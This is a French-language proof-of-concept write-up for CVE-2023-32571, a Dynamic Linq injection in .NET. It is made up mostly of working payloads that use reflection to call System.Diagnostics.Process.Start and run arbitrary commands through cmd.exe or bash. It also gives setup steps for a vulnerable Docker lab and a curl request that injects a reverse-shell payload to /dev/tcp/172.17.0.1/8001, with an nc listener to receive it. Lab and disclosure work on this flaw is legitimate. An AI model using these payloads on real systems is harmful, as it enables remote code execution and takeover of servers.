
Récemment, des membres du NCC Group ont découvert une vulnérabilité dans Dynamic Linq qui permet à des attaquants d'appeler des fonctions C# via une injection Linq, rendant ainsi possible l'obtention d'un RCE.
Même avec le rapport sur le RCE dans Dynamic Linq, les membres du NCC Group, pour une raison quelconque, n'ont pas mis à disposition le POC pour exécuter des commandes.
Comme indiqué dans la recherche du NCC Group, nous pouvons appeler des méthodes C# via "Invoke". Avec cela, nous pouvons appeler "System.Diagnostics.Process.Start" et exécuter des commandes sur le serveur.
Nous pouvons utiliser la méthode "CreateInstanceFromAndUnwrap" pour appeler System.Diagnostics.Process via l'assembly.
Charge utile pour utiliser la méthode System.AppDomain.CreateInstanceAndUnwrap :
"".GetType().Assembly.DefinedTypes.1Where(it.Name == "AppDomain").First().DeclaredMethods.Where(it.Name == "CreateInstanceAndUnwrap").First()
Charge utile pour appeler System.Diagnostics.Process via la méthode CreateInstanceAndUnwrap :
"".GetType().Assembly.DefinedTypes.Where(it.Name == "AppDomain").First().DeclaredMethods.Where(it.Name == "CreateInstanceAndUnwrap").First().Invoke("".GetType().Assembly.DefinedTypes.Where(it.Name == "AppDomain").First().DeclaredProperties.Where(it.name == "CurrentDomain").First().GetValue(null), "System, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = b77a5c561934e089; System.Diagnostics.Process".Split(";".ToCharArray()))
En accédant aux méthodes de la classe System.Diagnostics.Process, nous pouvons utiliser la méthode System.Diagnostics.Process.Start pour exécuter des commandes sur le système :
"".GetType().Assembly.DefinedTypes.Where(it.Name == "AppDomain").First().DeclaredMethods.Where(it.Name == "CreateInstanceAndUnwrap").First().Invoke("".GetType().Assembly.DefinedTypes.Where(it.Name == "AppDomain").First().DeclaredProperties.Where(it.name == "CurrentDomain").First().GetValue(null), "System, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = b77a5c561934e089; System.Diagnostics.Process".Split(";".ToCharArray())).GetType().Assembly.DefinedTypes.Where(it.Name == "Process").First().DeclaredMethods.Where(it.name == "Start").Take(3).Last().Invoke(null, "cmd.exe;/c calc.exe".Split(";".ToCharArray()))
Remarque : notez que la charge utile cherche les 3 premières méthodes Start et prend la dernière. J'ai fait cela car la liste des méthodes dans System.Diagnostics.Process contient plusieurs méthodes Start, et celle dont nous avons besoin est la troisième de la liste.
Cibles Windows
"".GetType().Assembly.DefinedTypes.Where(it.Name == "AppDomain").First().DeclaredMethods.Where(it.Name == "CreateInstanceAndUnwrap").First().Invoke("".GetType().Assembly.DefinedTypes.Where(it.Name == "AppDomain").First().DeclaredProperties.Where(it.name == "CurrentDomain").First().GetValue(null), "System, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = b77a5c561934e089; System.Diagnostics.Process".Split(";".ToCharArray())).GetType().Assembly.DefinedTypes.Where(it.Name == "Process").First().DeclaredMethods.Where(it.name == "Start").Take(3).Last().Invoke(null, "cmd.exe;/c <command-here>".Split(";".ToCharArray()))
"".GetType().Assembly.DefinedTypes.Where(it.Name == "AppDomain").First().DeclaredMethods.Where(it.Name == "CreateInstanceAndUnwrap").First().Invoke("".GetType().Assembly.DefinedTypes.Where(it.Name == "AppDomain").First().DeclaredProperties.Where(it.name == "CurrentDomain").First().GetValue(null), "System, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = b77a5c561934e089; System.Diagnostics.Process".Split(";".ToCharArray())).GetType().Assembly.DefinedTypes.Where(it.Name == "Process").First().DeclaredMethods.Where(it.name == "Start").Take(3).Last().Invoke(null, "bash;-c <command-here>".Split(";".ToCharArray()))
Installez docker et docker-compose :
Debian
sudo apt update -y && sudo apt install docker.io docker-compose -y
sudo pacman -Syu && sudo pacman -S docker docker-compose
Clonez ce dépôt :
git clone https://github.com/Tris0n/CVE-2023-32571-POC
cd CVE-2023-32571-POC
sudo docker-compose up --build
L'application démarre sur http://localhost:8000/
En accédant à la route "/api/products" via la méthode POST, nous voyons qu'elle renvoie une liste de produits :
curl -X POST -H "Content-type: application/json" -H "Accept: application/json" -d '{}' http://localhost:8000/api/products

En envoyant le paramètre name en JSON, nous pouvons filtrer les produits :
curl -X POST -H "Content-type: application/json" -H "Accept: application/json" -d '{"name": "nana"}' http://localhost:8000/api/products

Après quelques tests, nous voyons que nous avons réussi à l'injecter dans la requête Dynamic Linq. En envoyant la charge utile suivante, nous avons obtenu un reverse shell :
curl -X POST -H "Content-type: application/json" -H "Accept: application/json" -d '{"name": "\") && \"\".GetType().Assembly.DefinedTypes.Where(it.Name == \"AppDomain\").First().DeclaredMethods.Where(it.Name == \"CreateInstanceAndUnwrap\").First().Invoke(\"\".GetType().Assembly.DefinedTypes.Where(it.Name == \"AppDomain\").First().DeclaredProperties.Where(it.name == \"CurrentDomain\").First().GetValue(null), \"System, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = b77a5c561934e089; System.Diagnostics.Process\".Split(\";\".ToCharArray())).GetType().Assembly.DefinedTypes.Where(it.Name == \"Process\").First().DeclaredMethods.Where(it.name == \"Start\").Take(3).Last().Invoke(null, \"/bin/bash;-c \\\"bash -i >& /dev/tcp/172.17.0.1/8001 0>&1\\\"\".Split(\";\".ToCharArray())).GetType().ToString() == (\""}' http://localhost:8000/api/products

nc -lvp 8001
